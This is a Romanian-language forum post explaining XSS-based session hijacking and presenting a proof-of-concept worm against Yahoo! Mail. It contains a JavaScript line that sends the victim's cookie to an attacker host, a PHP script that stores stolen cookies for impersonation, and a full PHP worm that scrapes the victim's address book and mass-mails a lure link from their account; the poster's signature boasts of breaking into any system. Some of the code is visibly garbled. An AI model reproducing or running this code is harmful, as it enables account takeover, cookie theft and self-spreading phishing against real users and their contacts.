air_g3org3
Administrator
 Inregistrat: acum 14 ani
Postari: 734
|
|
PARTEA 1: Descriere
Folosind atacuri Cross Site Scripting(XSS) devine posibila impersonarea unui utilizator legitim(victima) care este autentificata pe un website(tinta)
In acest document vom presupune ca site-ul tinta are o vulnerabilitate XSS care ii permite unui atacator sa injecteze cod rau intentionat intr-o pagina.
Aceasta este secventa de pasi implicate in acest tip de atac
1. Victima se autentifica pe site-ul tinta 2. Atacatorul ii trimite victimei un link spre o pagina(continand cod rau intentionat) de pe site-ul tinta 3. Victima navigheaza catre pagina 4. Codul continut in acea pagina incarca un script din alta locatie trimitand spre acesta si cookiul victimei 5. Scriptul foloseste acest cookie pozand drept victima pe site-ul tinta
Exemplificare:
Presupunem ca victima este deja autentificata pe site-ul tinta
Tinta are o vulnerabilitate XSS de forma
Atacatorul ii trimite victime link-ul "http://www.tinta.com/pagina.php?var="
Atuncti cand victima urmeaza linkul scriptul "js.js" este incarcat si executat de browserul acestuia
===== js.js =====
new Image().src='http://www.atacator.com/php.php?cookie= '+escape(documentˇcookie);
=================
Fisierul "js.js" contine un cod care face un request catre fisierul "php.php" de asemenea controlat de atacator
===== php.php =====
$domain=".target.com"; // domeniul pentru cookie
$cookie=$_GET['cookie'];
//creeam fisierul cookie presupunand ca cookiul sesiunii are mai multe secvente "nume=valoare; "
$hcook=fopen("cookie.txt","w" ; $params=split('; ',$cookie); for($i=0; $i { $eqpos=strpos($params[$i],"=" ; $name =substr($params[$i],0,$eqpos); $value=substr($params[$i],$eqpos+1,strlen($params[$i])); fwrite($hcook,$domain. " TRUE / FALSE 9999999999 ".$name." ".$value." " ; } fclose($hcook);
// facem orice request curl folosind "cookie.txt" ca CURLOPT_COOKIEFILE si CURLOPT_COOKIEJAR
?>
Fisierul "php.php" este esenta acestui tip de atac. Acesta ia cookie-ul victimei si il foloseste incat se poate da drept victima pe site-ul tinta Motivul folosiri unui script php in locul unuia javascript este acela ca in acest mod putem trece de politica aceleiasi origini a javascriptului avand posibilitatea de a face requesturi catre ORICE domeniu unde cookie-ul este valid Mai mult putem primi si trimite date catre site-ul tinta manipulandu-le in orice mod.
>>PARTEA 2: Vierme Yahoo! Mail PoC
Presupunem ca Yahoo! are o vulnerabilitate XSS de forma "http://xxx.yahoo.com/pagina?var="
1. Atacatorul ii trimite victimei un email continand un link catre 2. Victima urmeaza link-ul 3. Fisierul "worm.php" ii fura victimei cookie-ul si folosindu-se de el trimite un email catre toate persoanele din Address Book-ul victimei 4. Persoanele din Address Book devin la randul lor victime atunci cand urmeaza link'ul din emailul trimis de vierme care aparent vine de la victima
===== worm.php =====
$subject="Link pentru tine"; // subiectul mesajului $message ="Uite un link cool: click me"; // corpul mesajului
// eliminam nevoia de a folosi un fisier "js.js" verificand valoare parametrului "cookie" // daca nu exista tiparim continutul fisierului "js.js" // iara daca exista continuam cu codul "php.php"
if(!isset($_GET['cookie'])) { $scripturl="http://".$HTTP_HOST.$REQUEST_URI; print("new Image().src='".$scripturl."?cookie='+escape(documentˇcookie);" ; } else { $cookie=$_GET['cookie'];
// cream un nume unic de fisier unde sa salvam cookiul asigurandu'ne astfel // ca atunci cand mai multe victime acceseaza simultan scriptul cookie'urile // lor nu se vor incurca $cookiefile=rand(100,999).".txt";
// creeam fisierul cookie
$hcook=fopen($cookiefile,"w" ; $params=split('; ',$cookie); for($i=0; $i { $eqpos=strpos($params[$i],"=" ; $name =substr($params[$i],0,$eqpos); $value= substr($params[$i],$eqpos+1,strlen($params[$i])); fwrite($hcook,".yahoo.com TRUE / FALSE 9999999999 ".$name." ".$value." " ; } fclose($hcook);
// incarcam address book'ul Yahoo! pentru a extrage datele despre contacte si a crea o variabila // de forma E-mail, etc.." ,de asemenea gasirea domeniului // us.fXXX.mail.yahoo.com care se schimba la fiecare autentificare
$address=curl("http://address.mail.yahoo.com/","",$cookiefile); if(strpos($address,"Yahoo! Address Book" ==true) // daca pagina a fost incarcata corect { $apage=explode(" ",$address); foreach($apage as $line_num => $aline) { if(strstr($aline,"ymsgr:sendIM" ) { $ex =explode("?",$aline); $ex2=explode(""",$ex[1]); $id=$ex2[0]; $to=$to.$ex2[0]."@yahoo.com,"; } if(strstr($aline,"Compose" ) { $ex3=explode("/",$aline); $domain="http://".$ex3[2]; } } }
// incarcam formularul "Compose" aflat pe us.fXXX.mail.yahoo.com pentru a gasi actiunea formularului // de trimitere email si valoarea parametrului ".crumb" de care avem nevoie pentru a trimite mesajele
if(strlen($to)>0 && strlen($domain)>0) // daca avem cele doua variabile { $compose= curl($domain."/ym/Compose?","",$cookiefile); if(strpos($compose,"Yahoo! Mail" ==true) // daca pagina a fost incarcata corect { $cpage=explode(" ",$compose); foreach($cpage as $line_num => $cline) { if(strstr($cline,"form name="Compose"" ) { $ex4=explode(""",$cline); $action=$ex4[5]; } if(strstr($cline,".crumb" ) { $ex6=explode(""",$cline); $crumb=$ex6[3]; } } }
if(strlen($action)>0 && strlen($crumb)>0) // daca avem cele doua variabile {
$subject=str_replace(" ","+",$subject); $message=str_replace(" ","+",$message);
// generam POSTFIELDS pentru curl
$post ="SEND=1&SD=&SC=&CAN=&docCharset= iso-8859-1&PhotoMailUser=&PhotoToolInstall=&"; $post.="OpenInsertPhoto=&PhotoGetStart= 0&SaveCopy=no&PhotoMailInstallOrigin=&"; $post.="box=&.crumb=".$crumb."&"; $post.="FwdFile=&FwdMsg=&FwdSubj=&FwdInline= &OriginalFrom=&OriginalSubject=&"; $post.="InReplyTo=&NumAtt=0&AttData=&UplData= &OldAttData=&OldUplData=&FName=&"; $post.="ATT=&VID=&Markers=&NextMarker= 0&Thumbnails=&PhotoMailWith=&BrowseState=&"; $post.="PhotoIcon=&ToolbarState=&VirusReport= &Attachments=&BGRef=&BGDesc=&BGDef=&"; $post.="BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom= &PlainMsg=&PhotoFrame=&PhotoPrintAtHomeLink=&"; $post.="PhotoSlideShowLink=&PhotoPrintLink= &PhotoSaveLink=&PhotoPermCap=&PhotoPermPath=&"; $post.="PhotoDownloadUrl=&PhotoSaveUrl= &PhotoFlags=&start=compose&bmdomain=&hidden=showcc&"; $post.="showbcc=&AC_Done=&AC_ToList= &AC_CcList=&AC_BccList=&sendtop=Send&"; $post.="savedrafttop=Save+as+a+Draft&canceltop= Cancel&To=".$to."&Cc=&Bcc=&"; $post.="Subj=".$subject."&Body=".$message."&Format= html&SigAtt=1&sendbottom=Send&"; $post.="savedraftbottom=Save+as+a+Draft&cancelbottom=Cancel&";
// trimitem mailurile $mail=curl($domain.$action,$post,$cookiefile);
} } unlink($cookiefile); }
function curl($url,$post='',$cookiefile) // functie pentru usurarea request'urilor curl { $rand=rand(100000,400000); $agent="Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/".$rand." Netscape/7.1 (ax)"; $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_USERAGENT,$agent); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); if($post!=='') { curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,$post); } curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiefile); curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiefile); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE); $result=curl_exec($ch); curl_close($ch); if($result=="" { curl($url,$post); } else { return $result; } }
?>
===================
Impactul acestui tip de vierme poate fi urias avand in vedere ca mesajul email trimis de vierme pare ca vine de la o persoana pe care victima o cunoaste si in care are incredere.
_______________________________________ Pot patrunde in orice sistem informatic si pot fura orice date. Pot sa ma uit in computerul tau si nici macar n-o sa stii ca am fost acolo…
|
|